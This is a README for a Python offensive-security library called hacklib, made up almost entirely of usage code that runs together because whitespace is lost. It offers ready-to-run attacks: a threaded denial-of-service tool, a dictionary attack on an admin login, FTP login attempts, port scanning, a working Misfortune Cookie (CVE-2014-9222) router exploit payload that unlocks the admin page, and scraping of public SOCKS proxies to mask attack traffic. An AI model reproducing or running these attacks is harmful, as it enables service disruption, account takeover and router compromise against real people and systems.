hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.
To get hacklib, simply run in command line:
pip install hacklibMulti-threaded Denial of Service (DOS) stress-testing:
importhacklibdos=hacklib.DOSer() # Create 50 threads to send GET requests for 30 secondsdos.launch('127.0.0.1', duration=30, threads=50)Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
importhacklibac=hacklib.AuthClient() # Logging into a gmail accounthtmldata=ac.login('https://gmail.com', 'email', 'password') # Check for a string in the resulting pageif'Inbox'inhtmldata: print'Login Success.'else: print'Login Failed.'# For logins using HTTP Basic Auth:try: htmldata=ac.login('http://somewebsite.com', 'admin', 'password') except: pass#login failedSimple dictionary attack using AuthClient:
importhacklibac=hacklib.AuthClient() # Get the top 100 most common passwordspasswords=hacklib.topPasswords(100) forpinpasswords: htmldata=ac.login('http://yourwebsite.com/login', 'admin', p) ifhtmldataand'welcome'inhtmldata.lower(): print'Password is', pbreakPort Scanning:
fromhacklibimport*ps=PortScanner() ps.scan(getIP('yourwebsite.com')) # By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default# After a scan, open ports are saved within ps for referenceifps.portOpen(80): # Establish a TCP stream and sends a messagesend(getIP('yourwebsite.com'), 80, message='GET HTTP/1.1 \r\n')Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner:
>>>importhacklib# Discovery>>>ps=hacklib.PortScanner() >>>ps.scan('192.168.1.1', (80, 81)) Port80: HTTP/1.1404NotFoundContent-Type: text/htmlTransfer-Encoding: chunkedServer: RomPager/4.07UPnP/1.0EXT: # The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.# Exploitation>>>payload='''GET /HTTP/1.1Host: 192.168.1.1User-Agent: googlebotAccept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8Accept-Language: en-US, en; q=0.5Accept-Encoding: gzip, deflateCookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00'''+'\r\n\r\n'>>>hacklib.send('192.168.1.1', 80, payload) # The cookie replaced the firmware's memory allocation for web authentication with a null bye.# The router's admin page is now fully accessible from any web browser.FTP authentication:
importhacklibftp=hacklib.FTPAuth('127.0.0.1', 21) try: ftp.login('username', 'password') except: print'Login failed.'Socks4/5 proxy scraping and tunneling
>>>importhacklib>>>importurllib2>>>proxylist=hacklib.getProxies() # scrape recently added socks proxies from the internet>>>proxy=hacklib.Proxy() >>>proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist>>>proxy.IPu'41.203.214.58'>>>proxy.port65000>>>proxy.countryu'KE'# All Python network activity across all modules are routed through the proxy:>>>urllib2.urlopen('http://icanhazip.com/').read() '41.203.214.58\n'# Notes: Only network activity via Python are masked by the proxy.# Network activity on other programs such as your webbrowser remain unmasked.# To filter proxies by country and type:# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')